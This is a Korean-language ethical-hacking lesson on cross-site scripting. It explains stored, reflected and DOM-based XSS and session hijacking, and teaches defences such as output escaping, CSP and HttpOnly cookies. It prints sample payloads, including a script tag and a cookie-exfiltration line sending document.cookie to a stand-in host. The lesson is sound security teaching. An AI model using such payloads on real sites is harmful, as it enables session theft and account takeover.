오늘 끝나면

XSS

  • XSS의 핵심 문제를 한 문장으로 설명한다
  • 오른쪽 실습에서 XSS이 어떻게 움직이는지 관찰한다
  • 다음 강의와 이어지는 한계를 말할 수 있다

실습 미션

남의 페이지에 내 스크립트를 심다 이 문장이 실제로 무슨 뜻인지 실습에서 한 번 손으로 확인한다.

성공 조건

  • 실습의 기본값을 먼저 관찰
  • 입력값이나 모드를 한 번 이상 바꿔 결과 비교
  • 왜 결과가 바뀌었는지 한 문장으로 설명

화이트해킹 · 06

남의 페이지에
내 스크립트

남의 입력이 페이지에 그대로 출력되면 그게 코드로 실행된다.
그러면 피해자 브라우저에서 내 스크립트가 돌고, 쿠키와 세션이 샌다.
막는 법은 단순하다. 출력할 때 글자로 박제하면 된다.

P.01화이트해킹 · 06

입력이 코드가 되는 순간

XSS는 Cross-Site Scripting이다. 핵심은 한 줄이다. 남의 입력이 페이지에 그대로 섞이면 그게 실행된다.

댓글창에 <script>를 적었다고 치자.
서버가 그 글자를 검사 없이 받아 페이지 HTML에 그대로 붙이면, 브라우저는 그걸 글자가 아니라 진짜 태그로 읽는다.

브라우저 입장에선 페이지가 보낸 코드인지, 공격자가 댓글로 넣은 코드인지 구분하지 못한다.
한 페이지에 섞이는 순간 둘 다 똑같은 권한으로 실행된다.

그래서 진짜 문제는 입력이 아니라 출력이다.
받은 걸 화면에 다시 뱉을 때 글자로 막지 않으면 태그가 된다.

댓글 한 줄 → 살아있는 태그
입력이 태그가 되는 길
공격자가 댓글에 적음

<script>steal()</script>

서버가 검사 없이 페이지에 붙인다

<div><script>steal()</script></div>

브라우저는 글자가 아니라 코드로 읽는다

파란 부분이 실행된다 = XSS

P.02화이트해킹 · 06

저장형 vs 반사형

스크립트가 피해자에게 닿는 경로로 둘을 나눈다.

저장형(Stored)은 댓글이나 프로필, 게시글처럼 서버에 저장되는 곳에 스크립트를 한 번 심는 방식이다.
그 페이지를 여는 모두의 브라우저에서 자동 실행되니 가장 위험하다.

반사형(Reflected)은 저장되지 않는다.
검색어나 에러 메시지처럼 입력이 즉시 화면에 되비치는 곳에 스크립트를 끼운 링크를 만들어, 피해자가 그 링크를 클릭하게 만든다.

하나 더 있다. DOM 기반은 서버까지 가지 않고 브라우저 안 자바스크립트가 URL 조각을 그대로 화면에 꽂을 때 터진다.
경로는 달라도 뿌리는 같다. 입력을 코드로 취급한 것이다.

한 번 심으면 모두에게 / 링크로 한 명에게
두 가지 경로
저장형

서버 DB에 한 번 심는다

DB에 저장된 댓글
방문자 A 자동 실행
방문자 B 자동 실행
방문자 C 자동 실행

모두에게

반사형

악성 링크로 한 명에게

?q=<script>
클릭한 피해자
즉시 되비쳐 실행

속아서 클릭한 사람만

P.03화이트해킹 · 06

노리는 건 쿠키·세션

스크립트가 돌면 뭘 할 수 있나? 그 페이지에서 할 수 있는 건 다 된다.

제일 흔한 표적은 document.cookie다.
쿠키 안엔 로그인 세션 ID가 들어 있다. 그걸 공격자 서버로 보내면, 공격자는 비번 없이 피해자로 로그인된다. 이것이 세션 탈취(session hijacking)다.

쿠키만이 아니다. 화면을 가짜 로그인 폼으로 바꾸기, 키 입력 가로채기, 피해자 권한으로 글 쓰기와 송금 요청 보내기까지 전부 피해자 브라우저 안에서 일어난다.

그래서 XSS의 무게는 입력창 하나가 아니라 그 뒤의 계정 전체다.

실행된 스크립트가 세션을 빼감
실행된 스크립트 → 세션 탈취
피해자 브라우저

document.cookie = sid=8f2a…

↓ 스크립트가 읽어감
공격자 서버로 전송

send('evil.site?c=' + cookie)

공격자

비번 없이 피해자로 로그인

P.04화이트해킹 · 06

안전한 데모로 직접

오른쪽은 격리된 가상 데모다. 진짜로 코드가 도는 게 아니라, 원리를 흉내로 보여준다.

댓글에 평범한 글과 <script>를 번갈아 넣어 보자.
아래 토글이 출력 이스케이프다.

이스케이프가 OFF면 입력이 그대로 HTML에 합쳐져, 스크립트가 실행되는 흉내를 보여준다(가상 로그).
이스케이프가 ON이면 < >가 글자로 바뀌어 그냥 텍스트로 박힌다.

같은 입력인데 출력 처리 한 끗으로 공격이 되기도 하고 안 되기도 한다. 그게 방어 지점이다.

이스케이프 OFF/ON 비교
XSS 데모 · 안전한 가상 시뮬
입력, 댓글을 적어 본다
방어, 출력 이스케이프
꺼짐, 입력을 그대로 합침
페이지에 합쳐진 HTML
<div class="comment"><script>alert(1)</script></div>
브라우저가 본 결과
스크립트 실행됨 (가상)

<script> 가 살아있는 태그가 된다. 브라우저는 이걸 코드로 읽고 돌린다.

실행: alert(1)

실제론 여기서 document.cookie 가 공격자 서버로 새나간다 = 세션 탈취.

P.05화이트해킹 · 06

방어, 이스케이프와 CSP

뿌리가 출력이니, 방어도 출력에서 시작한다.

1차 방어는 출력 이스케이프다.
화면에 뱉을 때 < > & "를 엔티티로 바꿔 태그가 되지 못하게 한다. 요즘 템플릿(React 등)은 기본으로 이걸 해줘서 그냥 텍스트를 꽂으면 안전하다. 위험한 건 innerHTML 같은 우회다.

2차는 CSP(Content-Security-Policy)다.
이 페이지가 어떤 스크립트만 실행할지 헤더로 미리 정해둔다. 인라인 스크립트와 외부 출처를 막아두면, 설령 끼어들어도 돌지 않는다. 그물망 역할을 한다.

여기에 HttpOnly 쿠키(자바스크립트가 쿠키를 못 읽게 한다)와 입력 검증을 더하면 여러 겹이 된다. 한 겹이 뚫려도 다음 겹이 받친다. 그게 방어의 기본이다.

Q. XSS로 노리는 것은? (서버 파일 삭제 · 피해자 브라우저에서 스크립트 실행 · DB 직접 변조 · 방화벽 무력화)정답은 피해자 브라우저에서 스크립트 실행이다.
XSS는 서버가 아니라 그 페이지를 연 사용자의 브라우저 안에서 코드를 돌린다.
그래서 쿠키와 세션 탈취, 화면 위조, 피해자 권한 요청 같은 짓이 가능하다.
막는 핵심은 출력 이스케이프와 CSP, HttpOnly 쿠키다.
여러 겹의 방어선
여러 겹의 방어선
공격: 입력에 스크립트
출력 이스케이프< > & " 를 글자로 박제
CSP 헤더허용한 스크립트만 실행
HttpOnly 쿠키JS가 세션 쿠키 못 읽게
입력 검증위험한 패턴 거르기

한 겹 뚫려도 다음 겹이 받침

3줄 요약

  1. 1남의 페이지에 내 스크립트를 심다
  2. 2XSS은 기초·정찰 → 웹 취약점 → 시스템 침투 → 네트워크·IoT → 레드팀·AI 흐름 안의 한 칸이다.
  3. 3개념을 외우는 것보다 입력을 바꾸면 무엇이 달라지는지 보는 것이 우선이다.

완료 전 점검

복습 카드

XSS

남의 페이지에 내 스크립트를 심다

취약점

공격에 악용될 수 있는 시스템의 약점

익스플로잇

취약점을 실제로 이용하는 코드나 기법